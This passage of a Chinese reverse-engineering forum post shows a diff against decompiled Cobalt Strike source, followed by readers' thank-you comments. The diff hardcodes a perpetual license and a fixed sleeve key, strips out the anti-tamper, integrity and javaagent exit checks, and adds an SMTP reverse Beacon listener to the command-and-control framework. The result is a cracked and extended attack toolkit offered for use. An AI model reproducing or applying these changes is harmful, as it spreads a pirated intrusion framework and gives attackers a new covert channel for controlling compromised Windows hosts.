BeaconSetupSMTP.java diff -r decompiled_src/common/Authorization.java src/common/Authorization.java 11c11,12 < protected String watermarkHash = ""; --- > // protected String watermarkHash = ""; > protected String watermarkHash = "BeudtKgqnlm0Ruvf+VYxuw=="; 12a14,94 > // public Authorization() { > // String var1 = CommonUtils.canonicalize("cobaltstrike.auth"); > // if (!(new File(var1)).exists()) { > // try { > // File var2 = new File(this.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()); > // if (var2.getName().toLowerCase().endsWith(".jar")) { > // var2 = var2.getParentFile(); > // } > // > // var1 = (new File(var2, "cobaltstrike.auth")).getAbsolutePath(); > // } catch (Exception var22) { > // MudgeSanity.logException("trouble locating auth file", var22, false); > // } > // } > // > // byte[] var23 = CommonUtils.readFile(var1); > // if (var23.length == 0) { > // this.error = "Could not read " + var1; > // } else { > // AuthCrypto var3 = new AuthCrypto(); > // byte[] var4 = var3.decrypt(var23); > // if (var4.length == 0) { > // this.error = var3.error(); > // } else { > // try { > // DataParser var5 = new DataParser(var4); > // var5.big(); > // int var6 = var5.readInt(); > // this.watermark = var5.readInt(); > // byte var7 = var5.readByte(); > // if (var7 < 45) { > // this.error = "Authorization file is not for Cobalt Strike 4.5+"; > // return; > // } > // > // byte var8 = var5.readByte(); > // var5.readBytes(var8); > // byte var10 = var5.readByte(); > // var5.readBytes(var10); > // byte var12 = var5.readByte(); > // var5.readBytes(var12); > // byte var14 = var5.readByte(); > // var5.readBytes(var14); > // byte var16 = var5.readByte(); > // var5.readBytes(var16); > // byte var18 = var5.readByte(); > // byte[] var19 = var5.readBytes(var18); > // if (var7 < 45) { > // CommonUtils.print_error("Authorization version " + var7 + " does not support watermark hash."); > // } else if (!var5.more()) { > // CommonUtils.print_error("Authorization data is incomplete. Watermark hash is not available."); > // } else { > // int var20 = var5.readInt(); > // if (var20 > 0) { > // this.watermarkHash = var5.readString(var20); > // } > // } > // > // if (29999999 == var6) { > // this.validto = "forever"; > // MudgeSanity.systemDetail("valid to", "perpetual"); > // } else { > // if (!this.A(var6)) { > // this.error = "Valid to date (" + var6 + ") is invalid"; > // return; > // } > // > // this.validto = "20" + var6; > // MudgeSanity.systemDetail("valid to", CommonUtils.formatDateAny("MMMMM d, YYYY", this.getExpirationDate())); > // } > // > // this.valid = true; > // MudgeSanity.systemDetail("id", this.watermark + ""); > // SleevedResource.Setup(var19); > // } catch (Exception var21) { > // MudgeSanity.logException("auth file parsing", var21, false); > // } > // > // } > // } > // } 14,25c96,104 < String var1 = CommonUtils.canonicalize("cobaltstrike.auth"); < if (!(new File(var1)).exists()) { < try { < File var2 = new File(this.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()); < if (var2.getName().toLowerCase().endsWith(".jar")) { < var2 = var2.getParentFile(); < } < < var1 = (new File(var2, "cobaltstrike.auth")).getAbsolutePath(); < } catch (Exception var22) { < MudgeSanity.logException("trouble locating auth file", var22, false); < } --- > try { > this.watermark=100000; > this.validto="forever"; > this.valid = true; > > final byte[] bytes = {-13, -114, -77, -47, -93, 53, -78, 82, -75, -117, -62, -84, -34, -127, -75, 66}; > common.MudgeSanity.systemDetail("valid to", "perpetual"); > common.MudgeSanity.systemDetail("id", String.valueOf(this.watermark)); > SleevedResource.Setup(bytes); 27,91c106,107 < < byte[] var23 = CommonUtils.readFile(var1); < if (var23.length == 0) { < this.error = "Could not read " + var1; < } else { < AuthCrypto var3 = new AuthCrypto(); < byte[] var4 = var3.decrypt(var23); < if (var4.length == 0) { < this.error = var3.error(); < } else { < try { < DataParser var5 = new DataParser(var4); < var5.big(); < int var6 = var5.readInt(); < this.watermark = var5.readInt(); < byte var7 = var5.readByte(); < if (var7 < 45) { < this.error = "Authorization file is not for Cobalt Strike 4.5+"; < return; < } < < byte var8 = var5.readByte(); < var5.readBytes(var8); < byte var10 = var5.readByte(); < var5.readBytes(var10); < byte var12 = var5.readByte(); < var5.readBytes(var12); < byte var14 = var5.readByte(); < var5.readBytes(var14); < byte var16 = var5.readByte(); < var5.readBytes(var16); < byte var18 = var5.readByte(); < byte[] var19 = var5.readBytes(var18); < if (var7 < 45) { < CommonUtils.print_error("Authorization version " + var7 + " does not support watermark hash."); < } else if (!var5.more()) { < CommonUtils.print_error("Authorization data is incomplete. Watermark hash is not available."); < } else { < int var20 = var5.readInt(); < if (var20 > 0) { < this.watermarkHash = var5.readString(var20); < } < } < < if (29999999 == var6) { < this.validto = "forever"; < MudgeSanity.systemDetail("valid to", "perpetual"); < } else { < if (!this.A(var6)) { < this.error = "Valid to date (" + var6 + ") is invalid"; < return; < } < < this.validto = "20" + var6; < MudgeSanity.systemDetail("valid to", CommonUtils.formatDateAny("MMMMM d, YYYY", this.getExpirationDate())); < } < < this.valid = true; < MudgeSanity.systemDetail("id", this.watermark + ""); < SleevedResource.Setup(var19); < } catch (Exception var21) { < MudgeSanity.logException("auth file parsing", var21, false); < } < < } --- > catch (Exception ex2) { > MudgeSanity.logException("auth file parsing", ex2, false); 92a109 > //aming_change diff -r decompiled_src/common/BaseArtifactUtils.java src/common/BaseArtifactUtils.java 35c35,36 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); 37c38 < return true; --- > // return true; diff -r decompiled_src/common/Helper.java src/common/Helper.java 31,51c31,51 < Class var3 = null; < var3 = Starter2.class; < String var4 = "common/Starter2.class"; < long[] var5 = this.getHelpID(var3); < if (!B(var1, var3, var4, var5, true)) { < var2 = false; < } < < var3 = ConnectDialog.class; < var4 = "aggressor/dialogs/ConnectDialog.class"; < var5 = this.getHelpID(var3); < if (!B(var1, var3, var4, var5, true)) { < var2 = false; < } < < var3 = Resources.class; < var4 = "server/Resources.class"; < var5 = this.getHelpID(var3); < if (!B(var1, var3, var4, var5, true)) { < var2 = false; < } --- > // Class var3 = null; > // var3 = Starter2.class; > // String var4 = "common/Starter2.class"; > // long[] var5 = this.getHelpID(var3); > // if (!B(var1, var3, var4, var5, true)) { > // var2 = false; > // } > // > // var3 = ConnectDialog.class; > // var4 = "aggressor/dialogs/ConnectDialog.class"; > // var5 = this.getHelpID(var3); > // if (!B(var1, var3, var4, var5, true)) { > // var2 = false; > // } > // > // var3 = Resources.class; > // var4 = "server/Resources.class"; > // var5 = this.getHelpID(var3); > // if (!B(var1, var3, var4, var5, true)) { > // var2 = false; > // } diff -r decompiled_src/common/License.java src/common/License.java 11c11 < System.exit(0); --- > // System.exit(0); 18c18 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/common/ListenerUtils.java src/common/ListenerUtils.java 63c63,67 < if (var4.equals("windows/beacon_bind_tcp")) { --- > if (var4.equals("windows/beacon_smtp/reverse_smtp")) { > if (!checkPort(var0, "port", "SMTP Port")) { > return false; > } > } else if (var4.equals("windows/beacon_bind_tcp")) { 211a216,219 > } else if ("Beacon SMTP".equals(var3)) { > var1.put("payload", "windows/beacon_smtp/reverse_smtp"); > var1.put("host", DialogUtils.string(var0, "smtp_host")); > var1.put("port", DialogUtils.string(var0, "smtp_port")); 285a294,297 > } else if ("windows/beacon_smtp/reverse_smtp".equals(var3)) { > var1.put("payload", "Beacon SMTP"); > var1.put("smtp_host", var0.get("host")); > var1.put("smtp_port", var0.get("port")); diff -r decompiled_src/common/Requirements.java src/common/Requirements.java 44c44 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/common/Starter.java src/common/Starter.java 13,15c13,15 < if (!this.A(var1)) { < System.exit(0); < } --- > // if (!this.A(var1)) { > // System.exit(0); > // } diff -r decompiled_src/common/Starter2.java src/common/Starter2.java 13,15c13,15 < if (!this.A(var1)) { < System.exit(0); < } --- > // if (!this.A(var1)) { > // System.exit(0); > // } diff -r decompiled_src/common/TeamSocket.java src/common/TeamSocket.java 45,47c45,47 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); < < return true; --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); > // return true; diff -r decompiled_src/server/Beacons.java src/server/Beacons.java 63,65c63,65 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); < < return true; --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); > // return true; diff -r decompiled_src/server/BrowserPivotCalls.java src/server/BrowserPivotCalls.java 36c36 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/server/DownloadCalls.java src/server/DownloadCalls.java 88c88 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/server/KeyloggerHandler.java src/server/KeyloggerHandler.java 33c33 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/server/Phisher.java src/server/Phisher.java 57c57 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/server/ProfileEdits.java src/server/ProfileEdits.java 22c22 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/server/ServerBus.java src/server/ServerBus.java 47c47 < return; --- > // return; diff -r decompiled_src/server/ServerUtils.java src/server/ServerUtils.java 164,166c164,166 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); < < return true; --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); > // return true; diff -r decompiled_src/server/TeamServer.java src/server/TeamServer.java 5,11c5 < import common.AssertUtils; < import common.Authorization; < import common.CommonUtils; < import common.Keys; < import common.MudgeSanity; < import common.Starter; < import common.TeamSocket; --- > import common.*; 168,169c162,163 < CommonUtils.print_error("The Cobalt Strike Team Server process cannot be started with a javaagent."); < System.exit(1); --- > // CommonUtils.print_error("The Cobalt Strike Team Server process cannot be started with a javaagent."); > // System.exit(1); diff -r decompiled_src/server/WebCalls.java src/server/WebCalls.java 145,147c145,147 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); < < return true; --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); > // return true; diff -r decompiled_src/server/WebsiteCloneTool.java src/server/WebsiteCloneTool.java 37c37 < System.exit(0); --- > // System.exit(0); Only in src/: smtp ```
回复或点赞可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#调试逆向
#病毒木马
收藏
・
6
点赞
・
22
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
git_99440qimingminimax
为你点赞!
1天前
zhongdong
为你点赞!
2天前
git_51951meggadf3df
非常支持你的观点!
2026-9-16 11:25
mb_lthgjpwj
为你点赞!
2026-8-21 08:57
mb_wsoacceo
为你点赞!
2026-8-11 01:24
REPE
你的分享对大家帮助很大,非常感谢!
2026-8-7 20:52
wx_晨梦
为你点赞!
2026-7-16 05:41
智童
为你点赞!
2026-7-1 14:20
wjdidi
你的帖子非常有用,感谢分享!
2026-5-7 19:25
npc0vo
这个讨论对我很有帮助,谢谢!
2026-4-25 21:54
mb_qrlsimls
你的帖子非常有用,感谢分享!
2026-3-18 23:06
mb_rveckyle
感谢你分享这么好的资源!
2025-7-27 00:22
coreofthesun
感谢你的积极参与,期待更多精彩内容!
2025-7-24 14:05
mb_smidqlgw
为你点赞!
2025-7-10 03:02
chiefcode
你的帖子非常有用,感谢分享!
2025-7-9 17:01
道友请留步
为你点赞!
2025-7-9 15:40
周旋久
期待更多优质内容的分享,论坛有你更精彩!
2025-7-8 16:38
岁月。
感谢你的贡献,论坛因你而更加精彩!
2025-7-7 11:48
UserXCh
为你点赞!
2025-7-7 08:27
老小白
谢谢你的细致分析,受益匪浅!
2025-7-6 12:09
fdx_xdf
感谢你的贡献,论坛因你而更加精彩!
2025-7-2 18:44
huangyalei
为你点赞!
2025-7-2 12:08
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
14
)
mb_sayjtjvj
雪 币:
230
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
3
粉丝
0
关注
私信
mb_sayjtjvj
2
楼
2025-7-3 01:04
0
kkte
雪 币:
309
活跃值:
(1361)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
28
粉丝
3
关注
私信
kkte
3
楼
2025-7-4 13:47
0
孤独的街
雪 币:
4865
活跃值:
(7991)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
40
粉丝
2
关注
私信
孤独的街
4
楼
感谢分享
2025-7-6 11:31
0
byhk
雪 币:
2662
活跃值:
(8829)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
190
粉丝
1
关注
私信
byhk
5
楼
感谢分享
2025-7-7 12:22
0
supercuglong
雪 币:
2072
活跃值:
(3025)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
14
粉丝
1
关注
私信
supercuglong
6
楼
66666666666666666
2025-7-7 20:14
0
掌门人马保国
雪 币:
112
活跃值:
(791)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
4
粉丝
0
关注
私信
掌门人马保国
7
楼
太牛了
2025-7-9 10:54
0
r0leG3n7
雪 币:
220
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
1
粉丝
0
关注
私信
r0leG3n7
8
楼
狠狠学习了
2025-7-10 15:58
0
huri
雪 币:
88
活跃值:
(683)
能力值:
( LV3,RANK:20 )
在线值:
发帖
2
回帖
28
粉丝
6
关注
私信
huri
9
楼
康康
2025-8-2 10:07
0
Snowman_Liam
雪 币:
4
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
138
粉丝
1
关注
私信
Snowman_Liam
10
楼
666
2025-8-2 10:37
0
git_91357jnabnsn
雪 币:
2049
活跃值:
(3213)
能力值:
( LV2,RANK:10 )
在线值:
发帖
1
回帖
32
粉丝
3
关注
私信
git_91357jnabnsn
11
楼
康康666
2025-8-5 20:12
0
mb_ysegxpmv
雪 币:
2188
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
115
粉丝
0
关注
私信
mb_ysegxpmv
12
楼
老哥牛皮
2025-8-12 20:10
0
纳米工艺
雪 币:
200
活跃值:
(36)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
2
粉丝
0
关注
私信
纳米工艺
13
楼
2026-1-7 12:44
0
jobs0
雪 币:
15
能力值:
( LV1,RANK:0 )
在线值:
发帖
1
回帖
12
粉丝
1
关注
私信
jobs0
14
楼
2026-4-7 19:25
0
小迷糊ddd
雪 币:
268
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
152
粉丝
0
关注
私信
小迷糊ddd
15
楼
感谢分享,学习一下。
2026-4-8 12:02
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
L4zyD0g
1
发帖
1
回帖
10
RANK
关注
私信
他的文章
[原创]为 CobaltStrike 增加 SMTP Beacon
6627
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部